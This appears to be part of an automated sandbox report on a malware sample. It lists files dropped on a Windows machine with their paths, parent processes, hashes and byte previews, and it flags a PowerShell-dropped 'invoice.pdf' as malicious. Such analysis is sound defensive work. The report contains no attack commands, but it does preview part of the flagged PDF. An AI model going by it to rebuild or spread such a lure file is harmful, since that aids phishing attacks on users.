SHA-512:	BDA39DA129FA0F3E9B7C6E7CB16011C7E99797E07EF679D086F3C36C3C7C7794E5186F62608AAFFEB3E18DBE46ACAEEFBA3242BDC4F13D11A43FAA305FE212E3
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIa4e83.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3VMe:Qw946cPbiOxDlbYnuRK+bD3D
MD5:	173DD29535FCB0A14B3A09227DEEA386
SHA1:	E32911974C725216FA3B097CD7368B43AE82CBF6
SHA-256:	D36EC6E39706D6391D65EE66247902244166538A629D5F59F07DCCA66204353E
SHA-512:	F8CF2814B2035D45395289A23D27A6E5CE3912DAB063AA7DAA617F02BA35CA5C8CB4D7456F1DD7307288C18AFB39A16241B199F6BA83227C6C15EAE0D0C1658C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.4.1.:.5.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1n51asiu.btv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvyrnw25.e4p.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91wpbux5_1t1k688_61g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A96ihbaq_1t1k687_61g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-41-50-617.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.325952599603172
Encrypted:	false
SSDEEP:	384:TEwR489SkYP3Pj/Ww9xUS4ju2pCifhRX6hewy6QEJMjD1MLoeXs8u7ufyn9M9y6v:IPH
MD5:	8554B63A76095920DF99F0D08DB0B0C2
SHA1:	C5E8579EA670A9D64E3505C0C051703C868993D7
SHA-256:	77932CDBCBF908F62CEE5A1080815A7CB320AECCD646E8DAD6829F9B18CD7BF6
SHA-512:	F125551F32334B969C4FF75DD06F67EF69665C2DAC5433F7A3142E7038C64B370912D10F15DA65D6C5216CAE9C1906EE5063E3DEAE93959BA3AF436FBC3F54C6
Malicious:	false
Preview:	SessionID=781ede02-e454-4a31-a133-6ef8fd43a9fa.1736530910635 Timestamp=2025-01-10T12:41:50:635-0500 ThreadID=6920 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=781ede02-e454-4a31-a133-6ef8fd43a9fa.1736530910635 Timestamp=2025-01-10T12:41:50:636-0500 ThreadID=6920 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=781ede02-e454-4a31-a133-6ef8fd43a9fa.1736530910635 Timestamp=2025-01-10T12:41:50:636-0500 ThreadID=6920 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=781ede02-e454-4a31-a133-6ef8fd43a9fa.1736530910635 Timestamp=2025-01-10T12:41:50:636-0500 ThreadID=6920 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=781ede02-e454-4a31-a133-6ef8fd43a9fa.1736530910635 Timestamp=2025-01-10T12:41:50:636-0500 ThreadID=6920 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.382318059435761
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rh:+8
MD5:	F0E62840F7144DD7E53F30C997499F8B
SHA1:	CA844A50AA7DDC88F635819ADABCD575CCF2D0A5
SHA-256:	C7AC08B36FC0B102D9320EB9141315B43DBFF270D4FA37A47371AB91F028EBD7
SHA-512:	0B077919C9F65B3D3CC9FDC7387AD32F40EA212B0D297F1AC42C2FE4FA6CB0CC44A2825DEC60B8A4AB8829EB22184869C6A6171F3D047C52A7A1563677A348CB
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\31fb0bd1-a3dc-400e-8e2f-35dbcc49b817.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	DAB0D55487947A8C00DEFEB1863E5D52
SHA1:	CA21AE7C3A6C3B75C5FEE6CC45E57F4F8E9AAD6A
SHA-256:	915AF8947C717264BA12E43919E2AED3846C3C312EE46DFEE18A7F40BE119623
SHA-512:	A6C1268A6C488495C2D07A90F498014192501A27D4A597C20644F5C95D3E4A7777D8E884F13DA9933B8D5C399499C98BDE94988467F79BF11B4391869ACFAF17
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\87117ef6-16a3-42ec-b29e-be24b3cf96f6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d013b6c3-5cf6-49ff-8ca2-69f860d11190.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fe782876-377c-43e2-a233-ed1a4afb09ef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
